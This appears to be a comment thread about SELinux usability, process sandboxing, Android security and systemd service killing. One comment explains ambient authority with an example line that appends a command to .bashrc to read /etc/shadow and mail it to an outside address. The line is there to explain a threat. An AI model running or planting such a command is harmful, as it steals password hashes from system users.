systemd for administrators - killing services

The people that program the applications and/or build the packages, or at least should be.

Selinux policies should be bundled with the application to make any sense at all really. We don't go around editing a global configuration file or set of configurations in /etc/posix_acls/ whenever we install software, do we?

Imagine how much of a nightmare that would be, having to edit a M4 script to set configurations on your home directory and such:

Ok... so I want to share a file in /tmp/. I need to go in and copy and past the /tmp configuration file out of /etc/posix_acls/directories/ and then make a new file for it, edit the directory stuff out, then add a new permission, go back into /etc/posix_acls/, run make, run /etc/init.d/posix_acls apply and then that's it.

Then, just to make it easy, I will have a little icon in my desktop that will pop up when somebody else tries to access /tmp/shared_file and they don't belong to the newly created tmp_shared_file group-role. It pop up and say something to the effect of:

'non-member temp_shared_file read alert: do you want to make /tmp/* 0777 to fix? click yes and enter root password to fix'.

And what is worse is that SELinux is exponentially more complicated.

Something like that.

SELinux itself a wonderful thing, but it's so unusable that it might as well not exist. For the majority of people and use cases it provides no benefit.

They need to rethink the design, get rid of the nightmare macro language configurations, lay things out in a hierarchical tree that makes it obvious how things are inherited and such things.

I invision a Selinux shell were you can navigate around the file system and examine running processes, see open files being used and so on and so forth. Something that makes it easy to understand what is going on. Something like that.

Until a average administrator with a few hours of exposure can point out any random file on a file system and be able to figure out quickly (under five seconds) what happens when Apache or other process tries to touch it then it's not going to be something that is useful.

SELinux's answer to everything is EPERM + log reason for denial to /var/log/audit/audit.log. It's a little bit like asking a teenager to do something, getting a "NO!" response, and then having to look in their diary for why.

It would be nice, although not thread-safe, for an app that suspects it's being denied by SELinux to be able to query for a better "reason" for the previous denial. Something tells me that the kernel maintainers don't exactly want to get into the business of creating a per-process rich error reporting facility, to say nothing of the difficulties in designing one that is abstracted for other security systems.

I know I shouldn't take part in Yet Another Selinux flamewar, but I just can't resist...

I like the ideas behind selinux and I run it on my home computer. However, I can't help but feel that it is another example of a conflated design.

The problem is that UNIX processes run with way, way too much ambient authority. That much has been known since the 1980s (see "The Confused Deputy", a classic paper on the topic.) The distinction between user accounts and root accounts on most systems is paper-thin. For example, a compromised Firefox process could easily append "sudo cat /etc/shadow | mail boris@badunov.ru" to your .bashrc. Why not? The .bashrc is owned by you, not by root.

What we needed was a good sandboxing mechanism for processes. For instance, we need a way for processes to give up the ability to send network traffic, or access certain hardware devices. To keep processes from writing to your home directory or other sensitive places, we needed something like a beefed-up chroot. (I'm aware of the problems with allowing user processes to run chroot, but I'm talking about an administrator setup here.)

Given those primitive mechanisms, we could have implemented any security policy we wanted. Instead, what we got was selinux, smack, tomoyo and its brethren. selinux injects policy directly into the kernel through selinux, um, "policies." I'm glad that a DOD-compliant security system for Linux exists. However, I can't help but feel that most users, given the choice, would choose something much simpler. The problem is that by combining the mechanism and the policy, users have to choose all or nothing. Most sysadmins I have talked to laugh at me for being open-minded enough to even consider running selinux, and happily choose "nothing."

I think to make progress, we need to create "selinux from userspace." We should introduce a few simple and general syscalls to sandbox processes. Apple's sandbox_init, and LXC's mechanisms should be good starting points. Then we can implement all the policy of selinux in terms of these simple calls. Application developers, rather than distribution maintainers, should know about and use the syscalls. It may be that most users will choose a simpler policy than selinux. But they shouldn't forgo the mechanisms of mandatory access control security by doing so.

if you're looking for per-application namespacing, things get a lot more complicated. for user-defined namespacing, you run into all the classical security issues of what happens when a user runs a setuid binary inside a specially-crafted chroot jail. on the application level, you are interested in a lot more than just broad filesystem privileges; saying that Firefox is limited to read-only access to everything but its own cache directory sounds nice at first, but then you realize that people like to be able to download and save stuff from the Web, and they may well want to be able to save directly to anywhere in $HOME and not just ~/Downloads... so at best you're back to the per-user namespace/jail setup.

what something liek SELinux can do is limit things on a much finer level. Not only do you want Firefox to be limited to writing to $HOME, but you also want to limit what executables it can invoke. However, you can't just give Firefox a filesystem view with the executable bit off on every file, because you need to let it invoke a small handful of binaries it uses which are kind of spread out all over. You probably want it to be able to invoke viewers for files, for instance (say, an archive reader for that .ZIP you just downloaded). this can be farmed out to other binaries like gnome-open, but that then has to be executable by Firefox. then since the binaries run need their own set of privileges which may be broader than Firefox's, you need some kind of secure system that watches for transitions between contexts like that and sets a new environment instead of simply inheriting Firefox's. and this system is SELinux (or one of the similar alternatives).

unfortunately, back in the realm of efficiency/security, these services run in the kernel and are not safely editable by users. it may be possible to have the service integrate with a daemon that can check for user-defined rules and merge those with the administrator defined ones (never allowing a user to grant more privileges, only allowing them to take privileges away), but there's an assortment of issues that would need to be worked out there regarding race conditions and interfaces and making sure the daemon couldn't inadvertently screw up the whole system if it hangs or starts feeding garbage back to the kernel.

and you can get into potential loops where the daemon needs to read a user config file, which is stored on a FUSE mount, which runs a program to access the filesystem, which goes through kernel access control, which queries the daemon, which needs to read a user config file...

What's wrong with Android's security model? It sounds like exactly what you want. Each application is sandboxed with only the capabilities that the user allowed it to have when it was installed.

> I should be able to pass you my tablet with a web page for you to read
> without you being able to lookup my passwords or read my email. GUI's are
> going to need to be able to function in mixed kiosk/user modes. In other
> words, users are not going to want to have to login to a device like a
> tablet every time they pick it up. For a phone, that is OK, but not for a
> tablet.

Well, the iPad shipped without any kind of multi-user support at all. So apparently some fairly smart designers in Cupertino disagree with you.

In general, users tend to hate complexity and love simplicity. It's a lot simpler to just buy your kid a separate tablet than it is to fiddle with complex security protocols. Especially when the cost of the tablets gets into the $100 or $200 range, that's the solution that a lot of people are going to take.

It seems like Android could support a simple form of multi-user operation through virtualization. Something like LXC or vserver could provide separate environments for separate users. It should be fairly simple to switch back and forth between users. Since all the daemons would be running in separate containers, there would be no information leakage between the environments.

I guess there is the thorny question of how to share data between different user accounts. I would argue that, at least at first, the two options should be "share with all" and "share with none". The former should just do a global install in some kind of upper-level container that everyone can see. Then the data can be shared with all users. The latter can keep it all private. Add password protection, and you've reached the same level of functionality that MacOS, Windows 7, or Linux ever had. You could probably add more and more security features over time, but there's very little evidence that home users of a tablet want them or could understand them.

Did you miss the point about why you may want to kill a service in the first place? Hint: because it may no longer be behaving.

Another fatal problem with pid files is race conditions: by the time you kill(pid), pid may be have been reassigned.
I'm not sure if systemd and cgroups fix this, but hopefully they do.

What is not really clear to me is whether systemd is the right place to do this, or whether "spawn_process_in_new_named_cgroup" and "kill_cgroup" tools would be better.

Also, putting a lot functionality in PID 1 seems silly, since the kernel will panic if it crashes: some kind of very minimal PID 1 that just spawns the real init, forwards signals to it, and restarts it, seems much better. This is probably easy to add to systemd though.